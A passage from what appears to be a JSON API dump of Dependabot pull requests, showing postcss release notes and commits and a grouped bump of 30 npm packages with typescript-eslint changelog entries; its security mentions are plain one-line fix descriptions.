\u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed declaration parsing performance (by \u003ca href=\"https://github.com/homanp\"\u003e\u003ccode\u003e@​homanp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed missing space if \u003ccode\u003eAtRule#params\u003c/code\u003e is set after (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed mixing AST error on warnings (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed declaration parsing performance (by \u003ca href=\"https://github.com/homanp\"\u003e\u003ccode\u003e@​homanp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/c4ac725d5920916d35be44002b49b7f66f8b1dc8\"\u003e\u003ccode\u003ec4ac725\u003c/code\u003e\u003c/a\u003e Release 8.5.20 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/c30586d7863d0563e2f2707bd89461636e37f6f6\"\u003e\u003ccode\u003ec30586d\u003c/code\u003e\u003c/a\u003e Fix missing space when AtRule#params is set after parsing (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2113\"\u003e#2113\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/5bfc3b9e7463936fdd4898f92dd43c358bfdef62\"\u003e\u003ccode\u003e5bfc3b9\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/24733fdbfe9abe4a949eb0a10e53db8c87fc9277\"\u003e\u003ccode\u003e24733fd\u003c/code\u003e\u003c/a\u003e Move back to latest 11 pnpm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/728127c427e076ae15f4b4107cae29f9e60d2db4\"\u003e\u003ccode\u003e728127c\u003c/code\u003e\u003c/a\u003e Update pnpm to check that CI is fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/806fe21198e210cc85fd87d4afd0c949b04e0c1f\"\u003e\u003ccode\u003e806fe21\u003c/code\u003e\u003c/a\u003e Rebuild nodes from another PostCSS copy in Warning (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2112\"\u003e#2112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/337cb7ef092da6066ec845973af243ed8e378550\"\u003e\u003ccode\u003e337cb7e\u003c/code\u003e\u003c/a\u003e Improve CI security\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a8ca2d0e5044fbde3df33e2b9730c14528270e3\"\u003e\u003ccode\u003e7a8ca2d\u003c/code\u003e\u003c/a\u003e Remove patch after updating dependency\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9543b22769bef5bcd47600fbca752204c106cda8\"\u003e\u003ccode\u003e9543b22\u003c/code\u003e\u003c/a\u003e Release 8.5.19 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3d13bf9360652922de0535f6257e1648187363f0\"\u003e\u003ccode\u003e3d13bf9\u003c/code\u003e\u003c/a\u003e Fix CI on Windows too\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.14...8.5.20\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for postcss since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=postcss\u0026package-manager=npm_and_yarn\u0026previous-version=8.5.14\u0026new-version=8.5.20)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/yujiangxian/nuwa/pull/21","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/yujiangxian%2Fnuwa/issues/21","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/21/packages"},{"uuid":"4920933201","node_id":"PR_kwDODt_2X87zc2Je","number":2912,"state":"open","title":"Chore(deps): Bump the minor-and-patch group across 1 directory with 30 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-19T02:19:53.000Z","updated_at":"2026-07-19T02:21:57.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Chore(deps): Bump","group_name":"minor-and-patch","update_count":30,"packages":[{"name":"@typescript-eslint/eslint-plugin","old_version":"8.61.0","new_version":"8.63.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"@typescript-eslint/parser","old_version":"8.61.0","new_version":"8.63.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"@vercel/ncc","old_version":"0.44.0","new_version":"0.44.1","repository_url":"https://github.com/vercel/ncc"},{"name":"eslint","old_version":"10.6.0","new_version":"10.7.0","repository_url":"https://github.com/eslint/eslint"},{"name":"prettier","old_version":"3.8.4","new_version":"3.9.5","repository_url":"https://github.com/prettier/prettier"},{"name":"react-i18next","old_version":"17.0.8","new_version":"17.0.9","repository_url":"https://github.com/i18next/react-i18next"},{"name":"ts-loader","old_version":"9.6.0","new_version":"9.6.2","repository_url":"https://github.com/TypeStrong/ts-loader"},{"name":"webpack","old_version":"5.107.2","new_version":"5.108.4","repository_url":"https://github.com/webpack/webpack"},{"name":"eslint-plugin-jsdoc","old_version":"63.0.11","new_version":"63.0.13","repository_url":"https://github.com/gajus/eslint-plugin-jsdoc"},{"name":"@docusaurus/core","old_version":"3.10.1","new_version":"3.10.2","repository_url":"https://github.com/facebook/docusaurus"},{"name":"@docusaurus/preset-classic","old_version":"3.10.1","new_version":"3.10.2","repository_url":"https://github.com/facebook/docusaurus"},{"name":"styled-components","old_version":"6.4.2","new_version":"6.4.3","repository_url":"https://github.com/styled-components/styled-components"},{"name":"@amplitude/analytics-browser","old_version":"2.44.4","new_version":"2.44.5","repository_url":"https://github.com/amplitude/Amplitude-TypeScript"},{"name":"@amplitude/experiment-js-client","old_version":"1.21.2","new_version":"1.21.3","repository_url":"https://github.com/amplitude/experiment-js-client"},{"name":"@ledgerhq/hw-app-str","old_version":"7.7.4","new_version":"7.7.5","repository_url":"https://github.com/LedgerHQ/ledger-live"},{"name":"@ledgerhq/hw-transport-webhid","old_version":"6.35.4","new_version":"6.36.0","repository_url":"https://github.com/LedgerHQ/ledger-live"},{"name":"@radix-ui/react-dialog","old_version":"1.1.16","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-popover","old_version":"1.1.16","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@sentry/browser","old_version":"10.63.0","new_version":"10.65.0","repository_url":"https://github.com/getsentry/sentry-javascript"},{"name":"@tailwindcss/postcss","old_version":"4.3.1","new_version":"4.3.2","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"@types/chrome","old_version":"0.1.43","new_version":"0.2.2","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@types/node","old_version":"26.1.0","new_version":"26.1.1","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"i18next","old_version":"26.3.4","new_version":"26.3.6","repository_url":"https://github.com/i18next/i18next"},{"name":"jest-canvas-mock","old_version":"2.5.2","new_version":"2.5.8","repository_url":"https://github.com/hustcc/jest-canvas-mock"},{"name":"react-router-dom","old_version":"7.17.0","new_version":"7.18.1","repository_url":"https://github.com/remix-run/react-router"},{"name":"semver","old_version":"7.8.4","new_version":"7.8.5","repository_url":"https://github.com/npm/node-semver"},{"name":"tailwindcss","old_version":"4.3.1","new_version":"4.3.2","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"@playwright/test","old_version":"1.61.0","new_version":"1.61.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"@sentry/webpack-plugin","old_version":"5.3.0","new_version":"5.4.0","repository_url":"https://github.com/getsentry/sentry-javascript-bundler-plugins"},{"name":"postcss","old_version":"8.5.15","new_version":"8.5.17","repository_url":"https://github.com/postcss/postcss"}],"path":null,"ecosystem":"npm"},"body":"Bumps the minor-and-patch group with 30 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@typescript-eslint/eslint-plugin](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin) | `8.61.0` | `8.63.0` |\n| [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser) | `8.61.0` | `8.63.0` |\n| [@vercel/ncc](https://github.com/vercel/ncc) | `0.44.0` | `0.44.1` |\n| [eslint](https://github.com/eslint/eslint) | `10.6.0` | `10.7.0` |\n| [prettier](https://github.com/prettier/prettier) | `3.8.4` | `3.9.5` |\n| [react-i18next](https://github.com/i18next/react-i18next) | `17.0.8` | `17.0.9` |\n| [ts-loader](https://github.com/TypeStrong/ts-loader) | `9.6.0` | `9.6.2` |\n| [webpack](https://github.com/webpack/webpack) | `5.107.2` | `5.108.4` |\n| [eslint-plugin-jsdoc](https://github.com/gajus/eslint-plugin-jsdoc) | `63.0.11` | `63.0.13` |\n| [@docusaurus/core](https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus) | `3.10.1` | `3.10.2` |\n| [@docusaurus/preset-classic](https://github.com/facebook/docusaurus/tree/HEAD/packages/docusaurus-preset-classic) | `3.10.1` | `3.10.2` |\n| [styled-components](https://github.com/styled-components/styled-components) | `6.4.2` | `6.4.3` |\n| [@amplitude/analytics-browser](https://github.com/amplitude/Amplitude-TypeScript) | `2.44.4` | `2.44.5` |\n| [@amplitude/experiment-js-client](https://github.com/amplitude/experiment-js-client/tree/HEAD/packages/experiment-browser) | `1.21.2` | `1.21.3` |\n| [@ledgerhq/hw-app-str](https://github.com/LedgerHQ/ledger-live) | `7.7.4` | `7.7.5` |\n| [@ledgerhq/hw-transport-webhid](https://github.com/LedgerHQ/ledger-live) | `6.35.4` | `6.36.0` |\n| [@radix-ui/react-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dialog) | `1.1.16` | `1.1.19` |\n| [@radix-ui/react-popover](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/popover) | `1.1.16` | `1.1.19` |\n| [@sentry/browser](https://github.com/getsentry/sentry-javascript) | `10.63.0` | `10.65.0` |\n| [@tailwindcss/postcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss) | `4.3.1` | `4.3.2` |\n| [@types/chrome](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/chrome) | `0.1.43` | `0.2.2` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `26.1.0` | `26.1.1` |\n| [i18next](https://github.com/i18next/i18next) | `26.3.4` | `26.3.6` |\n| [jest-canvas-mock](https://github.com/hustcc/jest-canvas-mock) | `2.5.2` | `2.5.8` |\n| [react-router-dom](https://github.com/remix-run/react-router/tree/HEAD/packages/react-router-dom) | `7.17.0` | `7.18.1` |\n| [semver](https://github.com/npm/node-semver) | `7.8.4` | `7.8.5` |\n| [tailwindcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss) | `4.3.1` | `4.3.2` |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.61.0` | `1.61.1` |\n| [@sentry/webpack-plugin](https://github.com/getsentry/sentry-javascript-bundler-plugins) | `5.3.0` | `5.4.0` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.15` | `8.5.17` |\n\n\nUpdates `@typescript-eslint/eslint-plugin` from 8.61.0 to 8.63.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003e@​typescript-eslint/eslint-plugin's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.63.0\u003c/h2\u003e\n\u003ch2\u003e8.63.0 (2026-07-06)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-misused-promises] detect async usage of a sync dispose usage (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12426\"\u003e#12426\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [method-signature-style] suggest converting readonly function properties instead of emitting invalid syntax (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12447\"\u003e#12447\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12446\"\u003e#12446\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-assertion] handle optional-chained calls to overloaded functions (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12491\"\u003e#12491\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12485\"\u003e#12485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-base-to-string] don't flag a shadowed String() call (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12492\"\u003e#12492\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escope-manager:\u003c/strong\u003e export ClassStaticBlockScope (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12460\"\u003e#12460\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKristjan \u003ca href=\"https://github.com/KristjanTammekivi\"\u003e\u003ccode\u003e@​KristjanTammekivi\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMichael Naumov \u003ca href=\"https://github.com/mnaoumov\"\u003e\u003ccode\u003e@​mnaoumov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSerhii Leniv \u003ca href=\"https://github.com/Serhii-Leniv\"\u003e\u003ccode\u003e@​Serhii-Leniv\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.63.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.62.1\u003c/h2\u003e\n\u003ch2\u003e8.62.1 (2026-06-29)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-optional-chain] use suggestion instead of autofix for trailing binary operator (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12328\"\u003e#12328\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-boolean-literal-compare] preserve boolean result in fixer for nullable true comparisons (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12365\"\u003e#12365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-assertion] parenthesize object literal at left edge of expression statement (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12443\"\u003e#12443\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12418\"\u003e#12418\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKirk Waiblinger \u003ca href=\"https://github.com/kirkwaiblinger\"\u003e\u003ccode\u003e@​kirkwaiblinger\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003emdm317\u003c/li\u003e\n\u003cli\u003ePatrick Aleite\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.62.1\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.62.0\u003c/h2\u003e\n\u003ch2\u003e8.62.0 (2026-06-22)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/eslint-plugin/CHANGELOG.md\"\u003e@​typescript-eslint/eslint-plugin's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.63.0 (2026-07-06)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-misused-promises] detect async usage of a sync dispose usage (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12426\"\u003e#12426\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-base-to-string] don't flag a shadowed String() call (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12492\"\u003e#12492\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-assertion] handle optional-chained calls to overloaded functions (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12491\"\u003e#12491\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12485\"\u003e#12485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [method-signature-style] suggest converting readonly function properties instead of emitting invalid syntax (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12447\"\u003e#12447\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12446\"\u003e#12446\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKristjan \u003ca href=\"https://github.com/KristjanTammekivi\"\u003e\u003ccode\u003e@​KristjanTammekivi\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMichael Naumov \u003ca href=\"https://github.com/mnaoumov\"\u003e\u003ccode\u003e@​mnaoumov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSerhii Leniv \u003ca href=\"https://github.com/Serhii-Leniv\"\u003e\u003ccode\u003e@​Serhii-Leniv\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.63.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003e8.62.1 (2026-06-29)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-assertion] parenthesize object literal at left edge of expression statement (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12443\"\u003e#12443\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/issues/12418\"\u003e#12418\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-boolean-literal-compare] preserve boolean result in fixer for nullable true comparisons (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12365\"\u003e#12365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-optional-chain] use suggestion instead of autofix for trailing binary operator (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12328\"\u003e#12328\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKirk Waiblinger \u003ca href=\"https://github.com/kirkwaiblinger\"\u003e\u003ccode\u003e@​kirkwaiblinger\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003emdm317\u003c/li\u003e\n\u003cli\u003ePatrick 